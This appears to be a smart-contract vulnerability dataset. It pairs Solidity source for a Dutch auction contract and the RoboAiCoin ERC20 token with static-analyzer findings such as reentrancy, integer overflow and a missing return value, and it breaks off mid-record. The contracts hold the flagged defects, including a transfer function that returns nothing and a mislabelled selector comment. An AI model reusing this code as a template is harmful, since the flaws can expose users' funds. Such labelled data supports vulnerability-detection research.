require(tokensToClaim > 0 ); // No tokens to claim
claimed[ msg.sender] = claimed[ msg.sender].add(tokensToClaim);
tokenWithdrawn = tokenWithdrawn.add(tokensToClaim);
_tokenPayment(auctionToken, msg.sender, tokensToClaim);
}
else
{
/// @dev Auction did not meet reserve price.
/// @dev Return committed funds back to user.
require(block.timestamp > endDate); // Auction not yet finished
uint256 fundsCommitted = commitments[ msg.sender];
require(fundsCommitted > 0); // No funds committed
commitments[msg.sender] = 0; // Stop multiple withdrawals and free some gas
_tokenPayment(paymentCurrency, msg.sender, fundsCommitted);
}
}
//--------------------------------------------------------
// Helper Functions
//--------------------------------------------------------
// There are many non-compliant ERC20 tokens... this can handle most, adapted from UniSwap V2
// I'm trying to make it a habit to put external calls last (reentrancy)
// You can put this in an internal function if you like.
function _safeTransfer(address token, address to, uint256 amount) internal {
// solium-disable-next-line security/no-low-level-calls
(bool success, bytes memory data) = token.call(
// 0xa9059cbb = bytes4(keccak256("transferFrom(address,address,uint256)"))
abi.encodeWithSelector(0xa9059cbb, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool)))); // ERC20 Transfer failed
}
function _safeTransferFrom(address token, address from, uint256 amount) internal {
// solium-disable-next-line security/no-low-level-calls
(bool success, bytes memory data) = token.call(
// 0x23b872dd = bytes4(keccak256("transferFrom(address,address,uint256)"))
abi.encodeWithSelector(0x23b872dd, from, address(this), amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool)))); // ERC20 TransferFrom failed
}
/// @dev Helper function to handle both ETH and ERC20 payments
function _tokenPayment(address _token, address payable _to, uint256 _amount) internal {
if (address(_token) == ETH_ADDRESS) {
_to.transfer(_amount);
} else {
_safeTransfer(_token, _to, _amount);
}
}
} | [{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["361"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["215"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["458", "458", "228", "458"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["253"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["447", "320", "323", "428"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [210, 211, 212]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [208, 209, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [201, 202, 203, 204]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DutchSwapAuction.sol": [400, 401, 402]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DutchSwapAuction.sol": [478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DutchSwapAuction.sol": [377, 378, 379]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DutchSwapAuction.sol": [352, 353, 354, 355, 356, 357, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DutchSwapAuction.sol": [452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DutchSwapAuction.sol": [448, 446, 447]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [1]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"DutchSwapAuction.sol": [516]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"DutchSwapAuction.sol": [525]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [512, 513, 514, 515]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [521, 522, 523, 524]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [282]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [274]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [395]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [275]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [262]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [405]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [405]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [261]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [255]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [260]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [256]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [263]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [400]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [257]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [416]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DutchSwapAuction.sol": [259]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [429]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [474]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [411]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [474]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [430]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [291]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [238]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [238]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [525]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [332]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [447]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [394]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [428]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [420]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [493]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [409]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [471]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [352]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [323]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [441]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DutchSwapAuction.sol": [516]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 219, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 215, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 219, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 229, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 231, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 232, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 233, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 217, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 254, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 267, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 268, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 272, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 274, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 275, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 277, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 278, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 279, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 281, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 283, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 285, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 286, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 287, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 287, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 290, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 290, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 291, "severity": 1}] | [{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"addr","type":"address"},{"indexed":false,"internalType":"uint256","name":"commitment","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"price","type":"uint256"}],"name":"AddedCommitment","type":"event"},{"inputs":[],"name":"auctionEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionSuccessful","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_commitment","type":"uint256"}],"name":"calculateCommitment","outputs":[{"internalType":"uint256","name":"committed","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"claimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearingPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"commitEth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_from","type":"address"}],"name":"commitEthFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"commitTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"commitTokensFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"commitments","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"commitmentsTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"endDate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finaliseAuction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalised","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_funder","type":"address"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_totalTokens","type":"uint256"},{"internalType":"uint256","name":"_startDate","type":"uint256"},{"internalType":"uint256","name":"_endDate","type":"uint256"},{"internalType":"address","name":"_paymentCurrency","type":"address"},{"internalType":"uint256","name":"_startPrice","type":"uint256"},{"internalType":"uint256","name":"_minimumPrice","type":"uint256"},{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"initDutchAuction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paymentCurrency","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceDrop","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceFunction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startDate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"tokensClaimable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensRemaining","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensCommitted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | Default | GNU GPLv3 | false | ipfs://f62331508bd72160c239ff87426d2c8571d719c8656cee4456b8b41d614ac955 |
|||
RoboAiCoin | 0x212584d81254629a55b2c8b06abd0611119dee83 | Solidity | pragma solidity ^0.4.19;
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
interface ERC165ReceiverInterface {
function tokensReceived(address _from, address _to, uint _amount, bytes _data) external returns (bool);
}
contract supportERC165Basic {
bytes4 constant InvalidID = 0xffffffff;
bytes4 constant ERC165ID = 0x01ffc9a7;
function transfer_erc165(address to, uint256 value, bytes _data) public returns (bool);
function doesContractImplementInterface(address _contract, bytes4 _interfaceId) internal view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if ((success==0)||(result==0)) {
return false;
}
(success, result) = noThrowCall(_contract, InvalidID);
if ((success==0)||(result!=0)) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if ((success==1)&&(result==1)) {
return true;
}
return false;
}
function noThrowCall(address _contract, bytes4 _interfaceId) constant internal returns (uint256 success, uint256 result) {
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at begining of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(
30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x20, // Inputs are 32 bytes long
x, // Store output over input (saves space)
0x20) // Outputs are 32 bytes long
result := mload(x) // Load the result
}
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract ERC20Basic is supportERC165Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
using AddressUtils for address;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* transfer with ERC165 interface
**/
function transfer_erc165(address _to, uint256 _value, bytes _data) public returns (bool) {
transfer(_to, _value);
if (!_to.isContract()) revert();
ERC165ReceiverInterface i;
if(!doesContractImplementInterface(_to, i.tokensReceived.selector)) revert();
ERC165ReceiverInterface app= ERC165ReceiverInterface(_to);
app.tokensReceived(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RoboAiCoin is StandardToken, Ownable {
string public name = "RoboAi Coin";
string public symbol = "R2R";
uint public decimals = 8;
function RoboAiCoin() public {
owner = msg.sender;
totalSupply_ = 0;
totalSupply_= 1 * 10 ** (9+8); //1 Billion
balances[owner] = totalSupply_;
Transfer(address(0), owner, balances[owner]);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["134"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["115"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["281", "282", "283", "72", "141"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["22"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["289"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [35, 36]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [282]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [283]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [281]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"RoboAiCoin.sol": [33, 34, 35, 36, 37]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"RoboAiCoin.sol": [71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"RoboAiCoin.sol": [160, 161, 162, 163, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"RoboAiCoin.sol": [165, 166, 167, 168, 169, 170]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [94]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [250, 251, 252, 253, 254]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [48]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [224, 225, 226, 227, 228]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [26, 27, 28, 29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [266, 267, 268, 269, 270, 271, 272, 273, 274, 275]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"RoboAiCoin.sol": [236, 237, 238]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [1]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"RoboAiCoin.sol": [28]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [224]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [224]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [133]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [250]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [266]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [48]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [152]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [250]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [266]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [133]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [133]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"RoboAiCoin.sol": [202]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"RoboAiCoin.sol": [142]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"RoboAiCoin.sol": [289]}}] | [{"error": "Integer Overflow.", "line": 178, "level": "Warning"}, {"error": "Integer Overflow.", "line": 133, "level": "Warning"}, {"error": "Integer Underflow.", "line": 281, "level": "Warning"}, {"error": "Integer Underflow.", "line": 282, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 45, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 46, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 71, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 224, "severity": 2}, {"rule": "SOLIDITY_ERC20_FUNCTIONS_ALWAYS_RETURN_FALSE", "line": 120, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 120, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 136, "severity": 1}, {"rule": 